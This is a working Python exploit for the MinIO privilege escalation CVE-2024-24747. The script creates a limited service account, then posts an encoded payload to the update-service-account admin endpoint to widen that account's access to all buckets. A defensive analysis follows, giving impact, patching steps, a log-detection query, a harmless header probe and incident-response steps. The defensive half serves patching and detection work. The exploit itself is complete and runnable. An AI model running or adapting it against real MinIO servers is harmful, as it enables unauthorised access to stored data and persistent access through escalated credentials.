MinIO < 2024-01-31T20-20-33Z - Privilege Escalation
# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation
# Date: 2024-04-11
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z
# Tested on: Windows 10
# CVE : CVE-2024-24747
# Required before execution: pip install minio,requests
import argparse
import datetime
import traceback
import urllib
from xml.dom.minidom import parseString
import requests
import json
import base64
from minio.credentials import Credentials
from minio.signer import sign_v4_s3
class CVE_2024_24747:
new_buckets = []
old_buckets = []
def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):
self.bucket_names = ['pocpublic', 'pocprivate']
self.new_accesskey = 'miniocvepoc'
self.new_secretkey = 'MINIOcvePOC'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'Content-Type': 'application/json',
'Accept': '*/*'
}
self.accesskey = accesskey
self.secretkey = secretkey
self.verify = verify
if verify:
self.url = "https://" + host + ":" + port
self.console_url = "https://" + host + ":" + console_port
else:
self.url = "http://" + host + ":" + port
self.console_url = "http://" + host + ":" + console_port
self.credits = Credentials(
access_key=self.new_accesskey,
secret_key=self.new_secretkey
)
self.login()
try:
self.create_buckets()
self.create_accesskey()
self.old_buckets = self.console_ls()
self.console_exp()
self.new_buckets = self.console_ls()
except:
traceback.print_stack()
finally:
self.delete_accesskey()
self.delete_buckets()
if len(self.new_buckets) > len(self.old_buckets):
print("There is CVE-2024-24747 problem with the minio!")
print("Before the exploit, the buckets are : " + str(self.old_buckets))
print("After the exploit, the buckets are : " + str(self.new_buckets))
else:
print("There is no CVE-2024-24747 problem with the minio!")
def login(self):
url = self.url + "/api/v1/login"
payload = json.dumps({
"accessKey": self.accesskey,
"secretKey": self.secretkey
})
self.session = requests.session()
if self.verify:
self.session.verify = False
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 204:
status_code = 0
else:
print('Login failed! Please check if the input accesskey and secretkey are correct!')
exit(1)
def create_buckets(self):
url = self.url + "/api/v1/buckets"
for name in self.bucket_names:
payload = json.dumps({
"name": name,
"versioning": False,
"locking": False
})
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 200:
status_code = 0
else:
print("新建 (New)"+name+" bucket 失败 (fail)!")
def delete_buckets(self):
for name in self.bucket_names:
url = self.url + "/api/v1/buckets/" + name
status_code = self.session.request("DELETE", url, headers=self.headers).status_code
# print(status_code)
if status_code == 204:
status_code = 0
else:
print("删除 (delete)"+name+" bucket 失败 (fail)!")
def create_accesskey(self):
url = self.url + "/api/v1/service-account-credentials"
payload = json.dumps({
"policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}",
"accessKey": self.new_accesskey,
"secretKey": self.new_secretkey
})
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 201:
# print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!")
# print(self.new_secretkey)
status_code = 0
else:
print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!")
def delete_accesskey(self):
url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')
status_code = self.session.request("DELETE", url, headers=self.headers).status_code
# print(status_code)
if status_code == 204:
# print("删除" + self.new_accesskey + " accessKey成功!")
status_code = 0
else:
print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!")
def headers_gen(self,url,sha256,method):
datetimes = datetime.datetime.utcnow()
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
urls = urllib.parse.urlparse(url)
headers = {
'X-Amz-Content-Sha256': sha256,
'X-Amz-Date': datetime_str,
'Host': urls.netloc,
}
headers = sign_v4_s3(
method=method,
url=urls,
region='us-east-1',
headers=headers,
credentials=self.credits,
content_sha256=sha256,
date=datetimes,
)
return headers
def console_ls(self):
url = self.console_url + "/"
sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
headers = self.headers_gen(url,sha256,'GET')
if self.verify:
response = requests.get(url,headers=headers,verify=False)
else:
response = requests.get(url, headers=headers)
DOMTree = parseString(response.text)
collection = DOMTree.documentElement
buckets = collection.getElementsByTagName("Bucket")
bucket_names = []
for bucket in buckets:
bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)
# print('当前可查看的bucket有:\n' + str(bucket_names))
return bucket_names
def console_exp(self):
url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey
sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"
headers = self.headers_gen(url, sha256, 'POST')
hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"
content = bytes.fromhex(hex_string)
if self.verify:
response = requests.post(url,headers=headers,data=content,verify=False)
else:
response = requests.post(url,headers=headers,data=content)
status_code = response.status_code
if status_code == 204:
# print("提升" + self.new_accesskey + " 权限成功!")
status_code = 0
else:
print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!")
if __name__ == '__main__':
logo = """
____ ___ ____ _ _ ____ _ _ _____ _ _ _____
___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ |
/ __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / /
| (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / /
\___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/
"""
print(logo)
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")
parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")
parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")
parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")
args = parser.parse_args()
CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https) MinIO Privilege Escalation (CVE-2024-24747) — Technical Analysis, Impact, Detection, and Mitigation
Summary: CVE-2024-24747 is a privilege escalation vulnerability affecting MinIO releases up to (but excluding) RELEASE.2024-01-31T20-20-33Z. The issue allows an attacker with the ability to call certain administrative HTTP endpoints to elevate service-account credentials, resulting in access to additional S3 actions and resources that the service account should not be able to perform. The vulnerability was reported by Jenson Zhao and fixed in the January 31, 2024 release.
Who should care
- MinIO operators running versions prior to RELEASE.2024-01-31T20-20-33Z.
- Organizations exposing MinIO consoles or admin endpoints to untrusted networks.
- Teams using service accounts or programmatic credentials for automation on MinIO.
Vulnerability class and root cause (high level)
This is an authorization logic/privilege escalation flaw in MinIO’s administrative API. In affected versions, an attacker who can authenticate to the MinIO console or otherwise reach specific admin endpoints can cause a service account's permissions to be promoted beyond what was intended — effectively granting broader S3 privileges (for example, s3:* on additional buckets). The root cause is insufficient validation of a request that updates service-account capabilities, allowing an authenticated actor to change the policy attached to a service account in an unsafe way.
Impact
- Complete data exposure for buckets that should be restricted — the promoted service account can list, read, write, or delete objects depending on the granted policy.
- Persistence and lateral movement — attacker-created or promoted service accounts can be used to maintain access even if initial credentials are rotated.
- Supply chain and automation risks — CI/CD systems or scripts using affected service accounts can be abused.
Responsible remediation steps
Apply the following prioritized steps to respond to this vulnerability safely and effectively.
- Patching (highest priority): Upgrade all MinIO servers and consoles to RELEASE.2024-01-31T20-20-33Z or later as soon as possible. This release contains the fix for CVE-2024-24747.
- Rotate credentials: Immediately rotate any service-account and administrative credentials that may have been exposed or that were created after the suspected exploitation window. Revoke any unknown or unused service accounts.
- Audit and forensics: Search audit logs and object-access logs for suspicious activity (creation of new buckets, unexpected access patterns, or new service-account creation events) and preserve logs for incident analysis.
- Restrict admin access: Limit which hosts and networks can reach MinIO consoles and admin endpoints — use network ACLs, firewalls, and VPNs to limit access to trusted administration hosts only.
- Harden service accounts: Apply least-privilege policies to service accounts and prefer short-lived credentials when supported.
- Monitoring: Add detections for unexpected privilege changes, new access keys, and administrative API calls targeting update-type endpoints.
How to detect potential exploitation (safe, non-destructive)
Below are safe detection techniques you can run from an operations or blue-team perspective. These do not attempt to exploit the vulnerability; they only query status or search logs.
1) Search audit and access logs
Look for these high-level indicators in logs:
- Creation of service accounts or access keys that you did not authorize.
- POST requests to admin endpoints such as URIs containing /minio/admin/v3/update-service-account or other update-service-account patterns.
- Unexpected success responses (204/201) for administrative POST/PUT/DELETE operations.
- Sudden bucket enumeration or list operations from a service account that previously had narrower access.
Example Splunk-style query (sanitized, illustrative):
index=minio_logs sourcetype=access_logs
("/minio/admin/v3/update-service-account" OR "service-account-credentials")
| stats count by src_ip, http_method, uri, status, user_agent, access_key_id
| where status IN ("200","201","204")
| sort -count
Explanation: This query aggregates requests to administrative URIs and highlights successful admin operations, sorted by frequency and grouped by source IP and access key identifier. Use your logging fields and sourcetypes appropriate to your environment.
2) Inspect active service accounts and access keys (administrative, safe read only)
If you have legitimate admin access, list and review currently configured service accounts and active access keys. Remove any that are unknown or unnecessary, and revoke keys that look suspicious.
3) Check for unexpected buckets or object-access patterns
Exploitation can be noticed as new buckets appearing in listings accessible to a previously limited account. Monitor for sudden changes in bucket visibility or increased object reads/writes from service accounts.
Safe example: Basic server/version probe (non-destructive)
The following small Python snippet uses only HTTP(S) GET to fetch headers from the MinIO console URL. It is intended as a nondestructive reconnaissance step for defenders to identify server fingerprints and server response headers that may help in inventory and patching. It does not call admin endpoints or attempt privilege elevation.
import requests
def fetch_minio_headers(console_url, verify_tls=True, timeout_s=5):
try:
r = requests.get(console_url, timeout=timeout_s, verify=verify_tls)
print("HTTP status:", r.status_code)
print("Server header:", r.headers.get("Server"))
# Print a few application headers if present (e.g., deployment id or version)
for h in ("X-MinIO-Deployment-Id", "X-Minio-Server", "X-MinIO-Console-Version"):
if h in r.headers:
print(f"{h}: {r.headers[h]}")
except Exception as e:
print("Error contacting console:", e)
# Example usage:
# fetch_minio_headers("http://minio.example.local:9000/")
Explanation: This script performs a simple GET to the specified console URL and prints the HTTP status and common MinIO headers. Use it to identify and inventory MinIO endpoints in your environment prior to patching.
Hardening & long-term mitigations
- Least privilege for service accounts: Define and attach minimal IAM-style policies that only grant the exact S3 actions and resource ARNs required.
- Network control: Put the MinIO console and administrative endpoints behind an internal management network or VPN. Avoid exposing these endpoints to public Internet.
- Authentication controls: Prefer short-lived credentials or tokens where possible; use Secrets Manager solutions for CI/CD secrets rotation.
- Audit and alerting: Create alerts for admin API calls and for the creation of new service accounts or access keys. Log all administrative actions to a hardened, centralized log store.
- Automated patching and inventory: Track which MinIO versions are in use and automate or schedule timely upgrades.
Incident response checklist (post-detection)
- Isolate affected nodes and block attacker-IP(s) from accessing MinIO endpoints.
- Rotate all possibly compromised keys and secrets. Revoke service accounts that are suspicious or unknown.
- Collect and preserve logs (access, application, system) and snapshot affected MinIO instances for forensic analysis.
- Apply vendor-provided patch (RELEASE.2024-01-31T20-20-33Z or later), then validate remediation in a test environment before rolling out.
- Perform a full audit of object storage contents and access patterns for data exfiltration indicators.
Disclosure & attribution
| Item | Details |
|---|---|
| CVE | CVE-2024-24747 |
| Reported by | Jenson Zhao |
| Affected versions | MinIO releases up to (excluding) RELEASE.2024-01-31T20-20-33Z |
| Vendor | MinIO (https://min.io/) |
| Fix | Upgrade to RELEASE.2024-01-31T20-20-33Z or later |
Final recommendations
Treat CVE-2024-24747 as a high-priority operational risk: patch quickly, rotate secrets, and hunt for indicators of unauthorized privilege changes or unknown service accounts. Use the detection and hardening guidance above to reduce the likelihood of successful exploitation in the future.